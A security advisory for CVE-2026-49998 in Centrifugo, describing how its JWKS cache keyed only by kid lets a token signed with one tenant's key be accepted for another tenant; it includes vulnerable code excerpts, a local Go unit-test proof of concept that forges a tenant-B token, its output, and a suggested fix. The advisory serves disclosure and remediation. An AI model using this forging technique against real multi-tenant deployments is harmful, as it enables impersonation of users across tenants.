CVE-2026-49998

Centrifugo's dynamic JWKS key cache keyed only by kid allows cross-issuer JWT authentication bypass

Summary

Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and singleflight lookup are keyed only by the JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.

In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same kid value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.

Details

The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT iss or aud claims:

• client.token.jwks_public_endpoint
• client.subscription_token.jwks_public_endpoint

Relevant shipped config fields are defined in internal/configtypes/types.go:59-65, mapped into verifier configuration in internal/confighelpers/jwt.go:36-41, and exposed in the generated config schema at internal/cli/configdoc/schema.json:3927, 3947, 3967, 3987, 4069, 4089, 4109, and 4129. Dynamic JWKS endpoints based on iss and aud are documented in the project changelog at CHANGELOG.md:107.

External clients control JWT connection and subscription tokens:

• Connection tokens reach VerifyConnectToken from internal/client/handler.go:350-352.
• Normal subscription tokens reach VerifySubscribeToken from internal/client/handler.go:769-775.
• Subscription refresh tokens reach VerifySubscribeToken from internal/client/handler.go:628-632.

The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:

• VerifyConnectToken parses without verification at internal/jwtverify/token_verifier_jwt.go:528-535, extracts template variables before signature verification at internal/jwtverify/token_verifier_jwt.go:539-548, then validates claims only after signature verification at internal/jwtverify/token_verifier_jwt.go:557-560.
• VerifySubscribeToken follows the same pattern at internal/jwtverify/token_verifier_jwt.go:700-732.

The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. internal/jwtverify/token_verifier_jwt.go:242-245 passes only the JWT header kid plus token-derived variables to the JWKS manager:

func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {
    kid := token.Header().KeyID
    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)

internal/jwks/manager.go:96-117 checks cache and singleflight using only kid:

func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    if kid == "" {
        return nil, ErrKeyIDNotProvided
    }
    if m.useCache {
        key, err := m.cache.Get(kid)
        if err == nil {
            return key, nil
        }
    }
    v, err, _ := m.group.Do(kid, func() (any, error) {
        return m.fetchKey(ctx, kid, tokenVars)
    })

The resolved JWKS URL is computed only later in internal/jwks/manager.go:133-149:

func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    jwkURL := m.url.ExecuteString(tokenVars)
    ...
    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)

The TTL cache also stores and retrieves keys only by kid at internal/jwks/cache_ttl.go:82-101:

func (tc *TTLCache) Add(key *JWK) error {
    ...
    tc.items[key.Kid] = item
}
func (tc *TTLCache) Get(kid string) (*JWK, error) {
    ...
    item, ok := tc.items[kid]

As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted.

I also reviewed the template safety mitigation in internal/jwtverify/validate.go:99-154. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: ^(?Ptenant-a|tenant-b)$.

PoC

This is a safe local-only unit test using httptest.Server and generated RSA key pairs. It does not contact external systems.

From a clean checkout of centrifugal/centrifugo at commit 458ee0500f046877d7e8375e32f5e842bc95535b, add this file as internal/jwtverify/jwks_cache_poc_test.go:

package jwtverify
import (
    "crypto/rsa"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "sync/atomic"
    "testing"
    "time"
    "github.com/centrifugal/centrifugo/v6/internal/config"
    "github.com/cristalhq/jwt/v5"
    "github.com/stretchr/testify/require"
)
func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {
    t.Helper()
    resp := map[string]any{
        "keys": []map[string]string{
            {
                "alg": "RS256",
                "kty": "RSA",
                "use": "sig",
                "kid": kid,
                "n":   encodeToString(pubKey.N.Bytes()),
                "e":   encodeUint64ToString(uint64(pubKey.E)),
            },
        },
    }
    w.Header().Set("Content-Type", "application/json")
    require.NoError(t, json.NewEncoder(w).Encode(resp))
}
func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {
    t.Helper()
    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)
    require.NoError(t, err)
    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))
    claims := &ConnectTokenClaims{
        Base64Info: "e30=",
        RegisteredClaims: jwt.RegisteredClaims{
            Subject:   user,
            Issuer:    issuer,
            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
        },
    }
    token, err := builder.Build(claims)
    require.NoError(t, err)
    return token.String()
}
func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {
    const kid = "shared-kid"
    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)
    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)
    var tenantARequests int32
    var tenantBRequests int32
    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        switch r.URL.Path {
        case "/tenant-a/jwks.json":
            atomic.AddInt32(&tenantARequests, 1)
            writeRSAJWKS(t, w, tenantAPublicKey, kid)
        case "/tenant-b/jwks.json":
            atomic.AddInt32(&tenantBRequests, 1)
            writeRSAJWKS(t, w, tenantBPublicKey, kid)
        default:
            http.NotFound(w, r)
        }
    }))
    defer ts.Close()
    cfg := config.DefaultConfig()
    cfgContainer, err := config.NewContainer(cfg)
    require.NoError(t, err)
    newVerifier := func() *VerifierJWT {
        verifier, err := NewTokenVerifierJWT(VerifierConfig{
            JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json",
            IssuerRegex:        ^(?Ptenant-a|tenant-b)$,
        }, cfgContainer)
        require.NoError(t, err)
        return verifier
    }
    legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid)
    legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid)
    forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid)
    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-b-user", ct.UserID)
    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)
    require.Error(t, err)
    verifier := newVerifier()
    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-a-user", ct.UserID)
    tenantBRequestsBeforeForge := atomic.LoadInt32(&tenantBRequests)
    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "victim", ct.UserID)
    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(&tenantBRequests))
}

Run the focused test with the project-supported Go toolchain:

go test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v

Observed vulnerable output in my local test environment using Go 1.26.3:

=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)
PASS
ok  	github.com/centrifugal/centrifugo/v6/internal/jwtverify	0.088s

The passing test demonstrates the vulnerable behavior because it asserts these controls:

• A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.
• A forged tenant-B token signed by tenant A fails with a fresh verifier.
• A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A's shared-kid key.
• The forged tenant-B token signed by tenant A then succeeds with user ID victim.
• The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B's JWKS endpoint.

Expected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B's independent JWKS cache namespace before verification.

Impact

This is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.

Impacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using {{tenant}} values extracted from iss or aud.

An attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same kid value and the attacker's issuer key is cached first. kid values are not globally unique by specification and are often operational labels such as current, default, or rotation identifiers, so the verifier should not rely on kid uniqueness across different JWKS trust domains.

Potential consequences include:

• Authentication as a user in another issuer/tenant namespace.
• Unauthorized connection-token acceptance.
• Unauthorized subscription-token acceptance where separate subscription JWTs are configured.
• Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.

Suggested remediation

Scope JWKS cache entries and singleflight keys to the resolved JWKS trust domain, not only to the JWT kid.

For dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:

resolved_jwks_url + "\x00" + kid

or an equivalent canonical trust-domain identifier plus kid.

The same composite namespace should be used for:

• TTL cache lookup.
• TTL cache storage.
• singleflight.Group.Do keys.

A regression test should prime tenant A's cache and then verify that a forged tenant-B token signed by tenant A remains rejected.